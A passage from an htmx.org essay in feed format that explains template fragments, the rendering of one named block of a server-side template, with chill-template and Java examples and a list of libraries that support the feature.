        <content type="html" xml:base="https://htmx.org/essays/template-fragments/">&lt;p&gt;Template fragments are a relatively rare Server Side Rendering (SSR) template library feature that allow you to render a
&lt;em&gt;fragment&lt;&#x2F;em&gt; or partial bit of the content within a template, rather than the entire template.  This feature is very handy in
&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-driven-applications&#x2F;&quot;&gt;Hypermedia Driven Applications&lt;&#x2F;a&gt; because it allows you to decompose a particular
view for partial updates &lt;em&gt;internally&lt;&#x2F;em&gt; without pulling fragments of the template out to separate files for rendering,
creating a large number of individual template files.&lt;&#x2F;p&gt;
&lt;p&gt;By keeping all the HTML in a single file, it is also easier to reason about how a feature works.  This follows the
&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;locality-of-behaviour&#x2F;&quot;&gt;Locality of Behavior&lt;&#x2F;a&gt; design principle.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;motivation&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#motivation&quot; aria-label=&quot;Anchor link for: motivation&quot;&gt;Motivation&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Let’s look at how template fragments, in an obscure templating language for java called
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;chill&#x2F;tree&#x2F;master&#x2F;chill-script&quot;&gt;chill templates&lt;&#x2F;a&gt;, can help us build an HDA.&lt;&#x2F;p&gt;
&lt;p&gt;Here is a simple chill template, &lt;code&gt;&#x2F;contacts&#x2F;detail.html&lt;&#x2F;code&gt; that displays a contact:&lt;&#x2F;p&gt;
&lt;h5 id=&quot;contacts-detail-html&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#contacts-detail-html&quot; aria-label=&quot;Anchor link for: contacts-detail-html&quot;&gt;&#x2F;contacts&#x2F;detail.html&lt;&#x2F;a&gt;&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-target&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;this&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;          #if contact.archived
&lt;&#x2F;span&gt;&lt;span&gt;          &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-patch&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;contacts&#x2F;${contact.id}&#x2F;unarchive&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Unarchive&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;          #else
&lt;&#x2F;span&gt;&lt;span&gt;          &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-delete&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;contacts&#x2F;${contact.id}&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Archive&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;          #end
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;h3&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Contact&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;h3&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;${contact.email}&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In the template we have an archiving feature where, depending on the archive state of the contact, we either display an “Archive”
or an “Unarchive” button, both powered by htmx and issuing HTTP requests to different end points.&lt;&#x2F;p&gt;
&lt;p&gt;When we click whichever of the two buttons is being shown, we want to replace the content in the &lt;code&gt;div&lt;&#x2F;code&gt; that surrounds
the button with an updated button.  (Note the &lt;code&gt;hx-target=&quot;this&quot;&lt;&#x2F;code&gt; on the div, so we are targeting that div’s innerHTML for
replacement.)  This will effectively flip the back and forth between “Archive” and “Unarchive”.&lt;&#x2F;p&gt;
&lt;p&gt;Now, unfortunately, if we wanted to render only the buttons and not the rest of this template, this would typically involve
splitting the buttons out to their own template file and including it in this template, like so:&lt;&#x2F;p&gt;
&lt;h5 id=&quot;contacts-detail-html-1&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#contacts-detail-html-1&quot; aria-label=&quot;Anchor link for: contacts-detail-html-1&quot;&gt;&#x2F;contacts&#x2F;detail.html&lt;&#x2F;a&gt;&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-target&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;this&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;          #include archive-ui.html
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;h3&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Contact&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;h3&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;${contact.email}&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;contacts-archive-ui-html&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#contacts-archive-ui-html&quot; aria-label=&quot;Anchor link for: contacts-archive-ui-html&quot;&gt;&#x2F;contacts&#x2F;archive-ui.html&lt;&#x2F;a&gt;&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;#if contact.archived
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-patch&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;contacts&#x2F;${contact.id}&#x2F;unarchive&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Unarchive&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;#else
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-delete&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;contacts&#x2F;${contact.id}&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Archive&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;#end
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now we have two templates.  We can now render the &lt;code&gt;archive-ui.html&lt;&#x2F;code&gt; template separately, but this split reduces the
visibility of the archiving feature: it is less obvious what is going on when you are looking just at the &lt;code&gt;detail.html&lt;&#x2F;code&gt;
template.&lt;&#x2F;p&gt;
&lt;p&gt;When pushed to extremes, decomposing templates like this can lead to quite a few small template fragments which, in
total, become difficult to manage and to reason about.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;template-fragments-to-the-rescue&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#template-fragments-to-the-rescue&quot; aria-label=&quot;Anchor link for: template-fragments-to-the-rescue&quot;&gt;Template Fragments To The Rescue&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;To address this issue, chill templates has a &lt;code&gt;#fragment&lt;&#x2F;code&gt; directive.  This directive allows you to specify a block of
content within a template and render &lt;em&gt;just that bit of content&lt;&#x2F;em&gt;:&lt;&#x2F;p&gt;
&lt;h5 id=&quot;contacts-detail-html-using-a-fragment&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#contacts-detail-html-using-a-fragment&quot; aria-label=&quot;Anchor link for: contacts-detail-html-using-a-fragment&quot;&gt;&#x2F;contacts&#x2F;detail.html Using a Fragment&lt;&#x2F;a&gt;&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-target&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;this&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;          #fragment archive-ui
&lt;&#x2F;span&gt;&lt;span&gt;            #if contact.archived
&lt;&#x2F;span&gt;&lt;span&gt;            &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-patch&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;contacts&#x2F;${contact.id}&#x2F;unarchive&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Unarchive&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;            #else
&lt;&#x2F;span&gt;&lt;span&gt;            &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-delete&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;contacts&#x2F;${contact.id}&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Archive&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;            #end
&lt;&#x2F;span&gt;&lt;span&gt;          #end
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;h3&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Contact&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;h3&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;${contact.email}&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;With this fragment defined in our template, we can now render either the entire template:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e5c07b;&quot;&gt;Contact&lt;&#x2F;span&gt;&lt;span&gt; c = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;getContact&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e5c07b;&quot;&gt;ChillTemplates&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;render&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;contacts&#x2F;detail.html&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;contact&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, c);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Or we can render only the &lt;code&gt;archive-ui&lt;&#x2F;code&gt; &lt;em&gt;fragment&lt;&#x2F;em&gt; of the template&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e5c07b;&quot;&gt;Contact&lt;&#x2F;span&gt;&lt;span&gt; c = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;getContact&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e5c07b;&quot;&gt;ChillTemplates&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;render&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;contacts&#x2F;detail.html#archive-ui&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;contact&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, c);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We would use the first option when we want to render the entire detail page for the contact.&lt;&#x2F;p&gt;
&lt;p&gt;We would use the second option when we handled the archive&#x2F;unarchive actions and wished only to rerender the buttons.&lt;&#x2F;p&gt;
&lt;p&gt;Note that, with fragments, we are able to keep our UI together in a single file and see exactly what is going on with
the feature, without bouncing around between different template files.  This provides a cleaner and more obvious
implementation of the feature.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;known-template-fragment-implementations&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#known-template-fragment-implementations&quot; aria-label=&quot;Anchor link for: known-template-fragment-implementations&quot;&gt;Known Template Fragment Implementations&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Fragments (and the ability to render them directly in controllers) appear to be a relatively rare feature in templating
libraries and provide an excellent opportunity for improving the developer experience when working with htmx and other
hypermedia-oriented libraries.&lt;&#x2F;p&gt;
&lt;p&gt;Here are some known implementations of the fragment concept:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Go
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;pkg.go.dev&#x2F;text&#x2F;template&quot;&gt;Standard Library (use block actions)&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;benpate&#x2F;f92b77ea9b3a8503541eb4b9eb515d8a&quot;&gt;[demo]&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;templ.guide&quot;&gt;templ&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;templ.guide&#x2F;syntax-and-usage&#x2F;fragments&quot;&gt;[Fragment documentation]&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;a-h&#x2F;templ&quot;&gt;[repo]&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;Java
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.thymeleaf.org&#x2F;doc&#x2F;tutorials&#x2F;3.0&#x2F;usingthymeleaf.html#fragment-specification-syntax&quot;&gt;Thymeleaf&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;chill&#x2F;tree&#x2F;master&#x2F;chill-script&quot;&gt;Chill Templates (currently in early alpha)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;quarkus.io&#x2F;guides&#x2F;qute-reference#fragments&quot;&gt;Quarkus Qute&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;jstach.io&#x2F;doc&#x2F;jstachio&#x2F;current&#x2F;apidocs&#x2F;#mustache_fragments&quot;&gt;JStachio (mustache)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;JavaScript
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.jeasx.dev&quot;&gt;Jeasx&lt;&#x2F;a&gt; - see &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;expo.jeasx.dev&#x2F;fragments&quot;&gt;example for htmx&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;PHP
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;latte.nette.org&#x2F;en&#x2F;template-inheritance#toc-blocks&quot;&gt;Latte&lt;&#x2F;a&gt; - Use the 3rd parameter to only render 1 block from the template -  &lt;code&gt;$Latte_Engine-&amp;gt;render(&#x27;path&#x2F;to&#x2F;template.latte&#x27;, [ &#x27;foo&#x27; =&amp;gt; &#x27;bar&#x27; ], &#x27;content&#x27;);&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;laravel.com&#x2F;docs&#x2F;10.x&#x2F;blade#rendering-blade-fragments&quot;&gt;Laravel Blade&lt;&#x2F;a&gt; - includes built-in support for template fragments as of v9.x&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twig.symfony.com&#x2F;doc&#x2F;3.x&#x2F;api.html#rendering-templates&quot;&gt;Twig&lt;&#x2F;a&gt; - &lt;code&gt;$template-&amp;gt;renderBlock(&#x27;block_name&#x27;, [&#x27;the&#x27; =&amp;gt; &#x27;variables&#x27;, &#x27;go&#x27; =&amp;gt; &#x27;here&#x27;]);&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;Python
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;pypi.org&#x2F;project&#x2F;django-render-block&#x2F;&quot;&gt;Django Render Block Extension&lt;&#x2F;a&gt; - see &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;spookylukey&#x2F;django-htmx-patterns&#x2F;blob&#x2F;master&#x2F;inline_partials.rst&quot;&gt;example code for htmx&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;sponsfreixes&#x2F;jinja2-fragments&quot;&gt;jinja2-fragments package&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mikeckennedy&#x2F;jinja_partials&quot;&gt;jinja_partials package&lt;&#x2F;a&gt; (&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mikeckennedy&#x2F;jinja_partials&#x2F;issues&#x2F;1&quot;&gt;discussion&lt;&#x2F;a&gt; on motivation)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mikeckennedy&#x2F;chameleon_partials&quot;&gt;chameleon_partials package&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;basxsoftwareassociation&#x2F;htmlgenerator&quot;&gt;htmlgenerator&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;pypi.org&#x2F;project&#x2F;django-template-partials&#x2F;&quot;&gt;django-template-partials&lt;&#x2F;a&gt; (&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;carltongibson&#x2F;django-template-partials&quot;&gt;repository&lt;&#x2F;a&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;medihack&#x2F;django-block-fragments&quot;&gt;django-block-fragments&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;.NET
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bit-badger&#x2F;Giraffe.Htmx&#x2F;tree&#x2F;main&#x2F;src&#x2F;ViewEngine.Htmx&quot;&gt;Giraffe.ViewEngine.Htmx&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;Rust
&lt;ul&gt;
